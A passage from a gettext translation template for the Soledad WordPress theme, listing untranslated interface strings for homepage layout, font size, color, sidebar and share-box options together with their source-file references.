#: inc/js_composer/inc/vc-params-helper.php:1359
#: inc/js_composer/inc/vc-params-helper.php:1662
msgid "Font Size for Post Excerpt"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:209
msgid "General Font Size for Post Titles"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:275
msgid "Font Size for Post Titles on Style 4"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:308
msgid "Font Size for Post Titles on Style 12 & 13"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:341
msgid "Font Size for Post Titles on First Post on Style 14"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:374
msgid "Font Size for Post Titles on Other Posts on Style 14"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_fontsize_section.php:403
msgid "Font Size for \"View All\" Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:6
msgid "Homepage Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:10
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:8
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:12
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:74
#: inc/gutenberg/block/latest-posts/index.js:39
#: inc/meta-box/categories-meta-box.php:36
#: inc/template-builder/archive-elements/posts.php:71
msgid "Standard Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:11
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:9
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:13
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:75
#: inc/gutenberg/block/latest-posts/index.js:40
#: inc/meta-box/categories-meta-box.php:37
#: inc/template-builder/archive-elements/posts.php:72
msgid "Classic Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:12
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:10
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:14
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:76
#: inc/gutenberg/block/latest-posts/index.js:41
#: inc/meta-box/categories-meta-box.php:38
#: inc/template-builder/archive-elements/posts.php:73
msgid "Overlay Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:13
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:11
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:15
msgid "Featured Boxed Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:14
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:12
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:16
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:78
#: inc/gutenberg/block/latest-posts/index.js:42
#: inc/meta-box/categories-meta-box.php:40
#: inc/template-builder/archive-elements/posts.php:75
msgid "Grid Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:15
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:13
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:17
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:79
#: inc/gutenberg/block/latest-posts/index.js:43
#: inc/meta-box/categories-meta-box.php:41
#: inc/template-builder/archive-elements/posts.php:76
msgid "Grid 2 Columns Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:16
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:14
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:18
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:80
#: inc/gutenberg/block/latest-posts/index.js:44
#: inc/meta-box/categories-meta-box.php:42
#: inc/template-builder/archive-elements/posts.php:77
msgid "Grid Masonry Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:17
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:15
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:19
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:81
#: inc/gutenberg/block/latest-posts/index.js:45
#: inc/meta-box/categories-meta-box.php:43
#: inc/template-builder/archive-elements/posts.php:78
msgid "Grid Masonry 2 Columns Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:18
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:16
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:20
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:82
#: inc/gutenberg/block/latest-posts/index.js:46
#: inc/meta-box/categories-meta-box.php:44
#: inc/template-builder/archive-elements/posts.php:79
msgid "List Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:19
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:17
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:21
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:707
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:83
#: inc/meta-box/categories-meta-box.php:45
#: inc/template-builder/archive-elements/posts.php:80
msgid "Small List Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:20
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:18
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:22
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:84
#: inc/gutenberg/block/latest-posts/index.js:47
#: inc/meta-box/categories-meta-box.php:46
#: inc/template-builder/archive-elements/posts.php:81
msgid "Boxed Posts Style 1"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:21
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:19
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:23
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:85
#: inc/gutenberg/block/latest-posts/index.js:48
#: inc/meta-box/categories-meta-box.php:47
#: inc/template-builder/archive-elements/posts.php:82
msgid "Boxed Posts Style 2"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:22
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:20
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:24
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:87
#: inc/gutenberg/block/latest-posts/index.js:49
#: inc/meta-box/categories-meta-box.php:48
#: inc/template-builder/archive-elements/posts.php:84
msgid "Mixed Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:23
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:21
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:25
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:88
#: inc/gutenberg/block/latest-posts/index.js:50
#: inc/meta-box/categories-meta-box.php:49
#: inc/template-builder/archive-elements/posts.php:85
msgid "Mixed Posts Style 2"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:24
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:22
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:26
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:90
#: inc/meta-box/categories-meta-box.php:50
#: inc/template-builder/archive-elements/posts.php:87
msgid "Mixed Posts Style 3"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:25
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:23
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:27
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:91
#: inc/meta-box/categories-meta-box.php:51
#: inc/template-builder/archive-elements/posts.php:88
msgid "Mixed Posts Style 4"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:26
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:24
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:28
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:86
#: inc/gutenberg/block/latest-posts/index.js:51
#: inc/meta-box/categories-meta-box.php:52
#: inc/template-builder/archive-elements/posts.php:83
msgid "Photography Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:27
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:29
msgid "Magazine Style 1"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:28
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:30
msgid "Magazine Style 2"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:29
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:25
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:31
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:92
#: inc/gutenberg/block/latest-posts/index.js:52
#: inc/meta-box/categories-meta-box.php:53
#: inc/template-builder/archive-elements/posts.php:89
msgid "1st Standard Then Grid"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:30
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:26
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:32
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:93
#: inc/gutenberg/block/latest-posts/index.js:53
#: inc/template-builder/archive-elements/posts.php:90
msgid "1st Standard Then Grid 2 Columns"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:31
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:27
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:33
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:94
#: inc/gutenberg/block/latest-posts/index.js:54
#: inc/meta-box/categories-meta-box.php:55
#: inc/template-builder/archive-elements/posts.php:91
msgid "1st Standard Then List"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:32
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:28
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:34
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:95
#: inc/gutenberg/block/latest-posts/index.js:55
#: inc/meta-box/categories-meta-box.php:56
#: inc/template-builder/archive-elements/posts.php:92
msgid "1st Standard Then Boxed"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:33
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:29
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:35
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:96
#: inc/gutenberg/block/latest-posts/index.js:56
#: inc/meta-box/categories-meta-box.php:58
#: inc/template-builder/archive-elements/posts.php:93
msgid "1st Classic Then Grid"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:34
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:30
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:36
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:97
#: inc/gutenberg/block/latest-posts/index.js:57
#: inc/meta-box/categories-meta-box.php:60
#: inc/template-builder/archive-elements/posts.php:94
msgid "1st Classic Then Grid 2 Columns"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:35
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:31
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:37
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:98
#: inc/gutenberg/block/latest-posts/index.js:58
#: inc/meta-box/categories-meta-box.php:62
#: inc/template-builder/archive-elements/posts.php:95
msgid "1st Classic Then List"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:36
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:32
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:38
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:99
#: inc/gutenberg/block/latest-posts/index.js:59
#: inc/meta-box/categories-meta-box.php:64
#: inc/template-builder/archive-elements/posts.php:96
msgid "1st Classic Then Boxed"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:37
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:33
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:39
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:100
#: inc/gutenberg/block/latest-posts/index.js:60
#: inc/meta-box/categories-meta-box.php:66
#: inc/template-builder/archive-elements/posts.php:97
msgid "1st Overlay Then Grid"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:38
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:34
#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:40
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:102
#: inc/gutenberg/block/latest-posts/index.js:61
#: inc/meta-box/categories-meta-box.php:68
#: inc/template-builder/archive-elements/posts.php:99
msgid "1st Overlay Then List"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:44
msgid "Custom Heading Title of Latest Posts Section"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:46
msgid ""
"You can check <a class=\"wp-customizer-link\" href=\"https://imgresources.s3."
"amazonaws.com/heading-title-latest-posts.png\" target=\"_blank\">this image</"
"a> to know what's \"Heading Title of Latest Posts Section\".<br>If you want "
"hide it, let empty this option"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:52
msgid "Exclude specific categories from latest posts on Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:54
msgid ""
"Example: if you do not want all posts in categories: Fashion, Life Style "
"show on your latest posts on homepage. You can fill slug of the categories "
"here: fashion, life-style. You can see <a class=\"wp-customizer-link\" "
"rel=\"nofollow\" href=\"https://pencidesign.net/soledad/soledad-document/"
"assets/images/magazine-2.png\" target=\"_blank\">this image</a> to "
"understand what is slug"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:61
msgid "Amount of Posts Shown Per Page on Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:80
msgid "Hide Latest Posts On Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:87
msgid "Enable Load More Button on Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:94
msgid "Enable Infinite Scroll on Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:101
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:667
msgid "Number of Posts for Each Time Load More Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:121
msgid "Enable Sidebar On Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:128
msgid "Enable Left Sidebar On Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:135
msgid "Enable Two Sidebars On Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:142
msgid "Add Meta Description for Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:143
msgid ""
"If you're using a SEO plugin, maybe it already added a meta description. So, "
"you don't need to use this option anymore."
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:150
msgid "Sidebar for Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:152
#: inc/customizer/config/sections/penci_section_spost_general_section.php:799
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:751
msgid "If sidebar your choice is empty, will display Main Sidebar"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:159
msgid "Sidebar Left for Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:161
msgid ""
"If sidebar your choice is empty, will display Main Sidebar Left. This option "
"just use when you enable 2 sidebars for Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:168
msgid "Add More &lt;H1&gt; Tag for Homepage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:170
msgid "Write content for &lt;H1&gt; tag here"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_general_section.php:175
msgid "In-Feed Ads on Latest Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:6
msgid "Enable Popular Posts on HomePage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:14
msgid "Amount of Posts on Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:33
msgid "Display Home Popular Posts on"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:37
#: inc/gutenberg/block/popular-posts/index.js:39
msgid "All Time"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:38
msgid "Once Weekly"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:39
msgid "Once a Month"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:45
msgid "Custom Title for Home Popular Posts Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:52
msgid "Filter Home Popular Posts by A Category"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:88
msgid "Custom Words Length for Post Titles on Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:108
msgid "Turn Off Uppercase Post Titles for Popular Posts on HomePage"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:115
msgid "Hide Date on Home Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:122
msgid "Enable Post Format Icons on Home Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:129
msgid "Show Prev/Next Buttons on Home Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_popular_posts_section.php:136
msgid "Hide Dots on Home Popular Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:6
msgid "Home Title Box Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:36
msgid "Remove Border Outer on Title Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:43
msgid "Remove Arrow Down on Title Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:68
msgid "Turn Off Uppercase on Home Title Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:75
msgid "Homepage Featured Categories Title Box Align"
msgstr ""

#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:87
msgid "Homepage Heading Latest Post Titles Align"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:6
msgid ""
"All options here apply for Standard Layout, Classic Layout and 1st Posts of "
"1st Standard & 1st Classic Layout."
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:14
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:837
#: inc/js_composer/inc/vc-params-helper.php:1137
#: inc/js_composer/inc/vc-params-helper.php:1330
#: inc/js_composer/inc/vc-params-helper.php:1698
msgid "Categories Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:41
#: inc/customizer/config/sections/penci_section_spost_colors_section.php:303
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:127
msgid "Author Name Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:48
msgid "\"Continue Reading\" Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:55
msgid "\"Continue Reading\" Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:62
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:139
msgid "Share Box Icons Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:69
#: inc/customizer/config/sections/penci_section_layout_colors_section.php:146
msgid "Share Box Icons Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:89
msgid "Categories Accent Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:118
msgid "Author Name & Comment Count Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:125
msgid "\"Read More\" Link/Button Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:132
msgid "\"Read More\" Button Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:153
msgid "Share Box Icons Color on Featured Boxed Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:160
msgid "Share Box Icons Hover Color on Featured Boxed Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:167
msgid "Share Box Background Color on Featured Boxed Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:181
msgid "Overlay Background Color on Photography Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:188
msgid "Overlay Background Opacity on Photography Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:218
msgid "Overlay Background Hover Opacity on Photography Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:248
msgid "Categories Color on Photography Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:255
msgid "Post Titles Color on Photography Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:262
msgid "Post Titles Hover Color on Photography Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:269
msgid "Meta Color on Photography Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:276
msgid "Accent Color on Photography Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:283
msgid "Post Titles Color on Overlay Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:290
msgid "Post Titles Hover Color on Overlay Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:297
msgid "Categories Post Color on Overlay Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:304
msgid "Categories Post Hover Color on Overlay Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_colors_section.php:311
msgid "Author Color on Overlay Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_fontsize_section.php:7
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:7
msgid "Font Size for Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_fontsize_section.php:31
msgid "Font Size for Post Titles on Layouts: Standard, Classic & Overlay"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_fontsize_section.php:67
msgid "Font Size for Post Titles on Other Layouts"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_fontsize_section.php:137
msgid "Font Size for \"Continue Reading\"/\"Read More\" Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_fontsize_section.php:156
msgid "Font Size for Like/Share Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_rowsgap_section.php:7
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:78
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:139
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:263
#: inc/js_composer/soledad_vc.php:133
#: inc/template-builder/archive-elements/posts.php:143
msgid "Rows Gap Between Post Items"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_rowsgap_section.php:26
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:186
#: inc/template-builder/archive-elements/posts.php:161
msgid "Rows Gap for Big Post Items"
msgstr ""

#: inc/customizer/config/sections/penci_section_layout_rowsgap_section.php:45
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:216
#: inc/template-builder/archive-elements/posts.php:194
msgid "Rows Gap for Small List Post Items"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:6
#: inc/js_composer/soledad_vc.php:571 inc/js_composer/soledad_vc.php:1208
msgid "Hide Icon Post Format"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:13
msgid "Display Post Meta Overlay Featured Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:15
msgid "This option just apply for Grid Posts & Masonry Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:21
#: inc/customizer/config/sections/penci_section_spost_general_section.php:302
#: inc/js_composer/soledad_vc.php:591
msgid "Enable Uppercase on Post Categories"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:28
#: inc/customizer/config/sections/penci_section_spost_general_section.php:339
msgid "Turn Off Uppercase on Post Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:35
msgid "Enable Click on Posts Thumbnail to Play Video"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:36
msgid ""
"This option only apply for video posts format - supports only for Youtube & "
"Vimeo"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:43
msgid "Remove Letter Spacing on Post Titles"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:50
msgid "Do Not Crop Images on List Layouts"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:52
msgid "This option does not apply for gallery posts format"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:58
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:49
#: inc/js_composer/soledad_vc.php:611
msgid "Hide Share Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:65
msgid "Remove Borders Left & Right on Share Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:72
#: inc/customizer/config/sections/penci_section_spost_general_section.php:295
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:56
#: inc/js_composer/soledad_vc.php:237 inc/js_composer/soledad_vc.php:621
#: inc/js_composer/soledad_vc.php:1198
msgid "Hide Category"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:79
#: inc/customizer/config/sections/penci_section_spost_general_section.php:346
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:63
#: inc/js_composer/soledad_vc.php:247 inc/js_composer/soledad_vc.php:631
#: inc/js_composer/soledad_vc.php:1180
msgid "Hide Post Author"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:93
#: inc/customizer/config/sections/penci_section_spost_general_section.php:383
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:91
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:414
#: inc/js_composer/soledad_vc.php:277 inc/js_composer/soledad_vc.php:671
#: inc/js_composer/soledad_vc.php:1236
msgid "Show Views Count"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:100
#: inc/js_composer/soledad_vc.php:651
msgid "Hide Comment Count on Mixed & Overlay Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:107
#: inc/js_composer/soledad_vc.php:661
msgid "Show Comment Count on Grid, Masonry, List, Boxed, Photography Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:114
#: inc/customizer/config/sections/penci_section_spost_general_section.php:390
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:70
#: inc/js_composer/soledad_vc.php:287 inc/js_composer/soledad_vc.php:681
#: inc/js_composer/soledad_vc.php:1246
msgid "Hide Reading Time"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:121
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:98
#: inc/js_composer/soledad_vc.php:297 inc/js_composer/soledad_vc.php:691
#: inc/js_composer/soledad_vc.php:1273
msgid "Remove Line Above Post Excerpt"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:128
#: inc/js_composer/soledad_vc.php:701
msgid "Remove Post Excerpt"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:135
#: inc/js_composer/soledad_vc.php:711
msgid "Add \"Read more\" button link"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:142
#: inc/js_composer/soledad_vc.php:721
msgid "Remove arrow on \"Read more\""
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:149
#: inc/js_composer/soledad_vc.php:731
msgid "Make \"Read more\" is A Button"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:156
msgid "Remove Border Bottom on List Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:163
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:146
msgid "Header Alignment"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:164
msgid "This option does not apply for Overlay, Photography, Boxed 2 Styles"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:177
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:159
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:329
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:532
#: inc/template-builder/archive-elements/posts.php:329
#: inc/template-builder/archive-elements/posts.php:566
msgid "Post Excerpt Alignment"
msgstr ""

#: inc/customizer/config/sections/penci_section_other_layouts_section.php:185
